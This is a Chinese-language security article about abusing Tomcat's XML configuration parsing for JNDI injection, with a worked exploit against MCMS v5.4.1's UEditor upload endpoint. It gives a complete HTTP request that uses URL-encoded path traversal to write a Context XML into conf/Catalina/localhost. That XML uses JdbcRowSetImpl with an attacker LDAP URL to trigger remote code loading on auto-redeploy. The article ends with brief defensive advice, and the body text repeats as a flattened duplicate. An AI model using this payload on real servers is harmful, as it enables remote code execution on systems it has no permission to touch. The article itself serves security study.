绕过后缀校验:利用 Tomcat XML 配置机制实现 JNDI 注入
字数 1334 2025-11-21 12:46:16

利用Tomcat XML配置机制实现JNDI注入绕过文件上传校验

技术原理分析

Tomcat XML配置解析机制

Tomcat在启动和运行过程中会扫描特定目录下的XML配置文件,并对其中的特定标签进行解析处理。该机制会调用XML文件中指定类的setter方法,类似于FastJSON的反序列化机制。

核心触发点

1. 启动阶段解析

  • 主入口:Bootstrap.classload方法
  • 调用链:Bootstrap.load()Catalina.load() → 创建Digester实例
  • 解析文件:conf/server.xml

2. XML解析过程

  • 使用Digester解析XML内容
  • Listener字段的className属性指定类进行实例化
  • 调用SetPropertiesRule#begin进行属性赋值
  • 通过IntrospectionUtils#setProperty反射调用setter方法

3. 关键目录

  • conf/server.xml - 主配置文件
  • conf/Catalina/localhost/ - 虚拟主机配置目录
  • webapps/*/META-INF/context.xml - Web应用上下文配置

攻击向量分析

可利用的XML配置位置

1. server.xml配置注入

<Listener className="恶意类名"
          property1="恶意值"
          property2="jndi:ldap://攻击者地址"/>

2. Context配置注入

<Context>
    <Manager className="com.sun.rowset.JdbcRowSetImpl"
             dataSourceName="ldap://127.0.0.1:8085/恶意路径"
             autoCommit="true"/>
</Context>

自动触发机制

Tomcat存在后台线程,每10秒执行一次检查:

  • StandarHost容器会触发deployApps方法
  • 自动重新部署和解析XML配置文件
  • 无需重启Tomcat即可触发攻击

实战案例:MCMS v5.4.1漏洞利用

漏洞分析

漏洞文件com.baidu.ueditor.ActionEnter

  • 未对jsonConfig进行充分校验
  • savePath参数可目录穿越

关键代码路径

  1. ActionEnter接收请求参数
  2. ConfigManager.getConfig()直接获取filePathFormat
  3. Uploader使用未经验证的savePath拼接文件路径

文件上传限制绕过

允许的文件类型包含.xml

"fileAllowFiles": [
    ".png", ".jpg", ".jpeg", ".gif", ".bmp",
    ".flv", ".swf", ".mkv", ".avi", ".rm", ".rmvb", ".mpeg", ".mpg",
    ".ogg", ".ogv", ".mov", ".wmv", ".mp4", ".webm", ".mp3", ".wav", ".mid",
    ".rar", ".zip", ".tar", ".gz", ".7z", ".bz2", ".cab", ".iso",
    ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".pdf", ".txt", ".md", ".xml"
]

攻击Payload

HTTP请求

POST /static/plugins/ueditor/1.4.3.3/jsp/editor.do?jsonConfig=%7b%66%69%6c%65%50%61%74%68%46%6f%72%6d%61%74%3a%27%2f%7b%2e%7d%2e%2f%7b%2e%7d%2e%2f%7b%2e%7d%2e%2f%2f%63%6f%6e%66%2f%43%61%74%61%6c%69%6e%61%2f%6c%6f%63%61%6c%68%6f%73%74%2f%31%27%7d&action=uploadfile HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: multipart/form-data;boundary=------------------------AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXA

--------------------------AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXA
Content-Disposition: form-data; name="upload"; filename="2.xml"

<?xml version='1.0' encoding='utf-8'?>
<Context>
    <Manager className="com.sun.rowset.JdbcRowSetImpl"
            dataSourceName="ldap://127.0.0.1:8085/SbfXuVhz"
            autoCommit="true"/>
</Context>
--------------------------AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXA--

目录穿越技巧

  • 使用/{.}/{.}/{.}//conf/Catalina/localhost/1进行路径穿越
  • 将恶意XML文件上传至Tomcat配置目录

技术要点总结

1. 利用条件

  • 存在任意文件上传漏洞
  • 可上传XML文件到服务器
  • 具有目录穿越能力或可直接写入Tomcat配置目录
  • 目标使用Tomcat容器

2. 优势特点

  • 绕过传统文件后缀校验
  • 利用Tomcat内置机制,无需额外依赖
  • 支持自动触发,无需重启服务
  • 可与FastJSON等反序列化漏洞结合利用

3. 防御建议

  • 严格校验文件上传路径,防止目录穿越
  • 限制XML文件上传功能
  • 监控Tomcat配置目录的写操作
  • 使用安全策略限制JNDI访问

调用栈分析

server.xml解析栈

Digester.startElement()
→ SetPropertiesRule.begin() 
→ IntrospectionUtils.setProperty()
→ 反射调用setter方法

Context配置解析栈

MbeansDescriptorsDigesterSource.execute()
→ Registry.loadDescriptors()
→ Digester.parse()
→ ObjectCreateRule.begin()

该技术利用Tomcat的正常功能实现攻击,具有较高的隐蔽性和实用性,是文件上传漏洞利用的重要扩展方式。

利用Tomcat XML配置机制实现JNDI注入绕过文件上传校验 技术原理分析 Tomcat XML配置解析机制 Tomcat在启动和运行过程中会扫描特定目录下的XML配置文件,并对其中的特定标签进行解析处理。该机制会调用XML文件中指定类的setter方法,类似于FastJSON的反序列化机制。 核心触发点 1. 启动阶段解析 主入口: Bootstrap.class 的 load 方法 调用链: Bootstrap.load() → Catalina.load() → 创建 Digester 实例 解析文件: conf/server.xml 2. XML解析过程 使用 Digester 解析XML内容 对 Listener 字段的 className 属性指定类进行实例化 调用 SetPropertiesRule#begin 进行属性赋值 通过 IntrospectionUtils#setProperty 反射调用setter方法 3. 关键目录 conf/server.xml - 主配置文件 conf/Catalina/localhost/ - 虚拟主机配置目录 webapps/*/META-INF/context.xml - Web应用上下文配置 攻击向量分析 可利用的XML配置位置 1. server.xml配置注入 2. Context配置注入 自动触发机制 Tomcat存在后台线程,每10秒执行一次检查: StandarHost 容器会触发 deployApps 方法 自动重新部署和解析XML配置文件 无需重启Tomcat即可触发攻击 实战案例:MCMS v5.4.1漏洞利用 漏洞分析 漏洞文件 : com.baidu.ueditor.ActionEnter 未对 jsonConfig 进行充分校验 savePath 参数可目录穿越 关键代码路径 : ActionEnter 接收请求参数 ConfigManager.getConfig() 直接获取 filePathFormat Uploader 使用未经验证的 savePath 拼接文件路径 文件上传限制绕过 允许的文件类型 包含 .xml : 攻击Payload HTTP请求 : 目录穿越技巧 : 使用 /{.}/{.}/{.}//conf/Catalina/localhost/1 进行路径穿越 将恶意XML文件上传至Tomcat配置目录 技术要点总结 1. 利用条件 存在任意文件上传漏洞 可上传XML文件到服务器 具有目录穿越能力或可直接写入Tomcat配置目录 目标使用Tomcat容器 2. 优势特点 绕过传统文件后缀校验 利用Tomcat内置机制,无需额外依赖 支持自动触发,无需重启服务 可与FastJSON等反序列化漏洞结合利用 3. 防御建议 严格校验文件上传路径,防止目录穿越 限制XML文件上传功能 监控Tomcat配置目录的写操作 使用安全策略限制JNDI访问 调用栈分析 server.xml解析栈 Context配置解析栈 该技术利用Tomcat的正常功能实现攻击,具有较高的隐蔽性和实用性,是文件上传漏洞利用的重要扩展方式。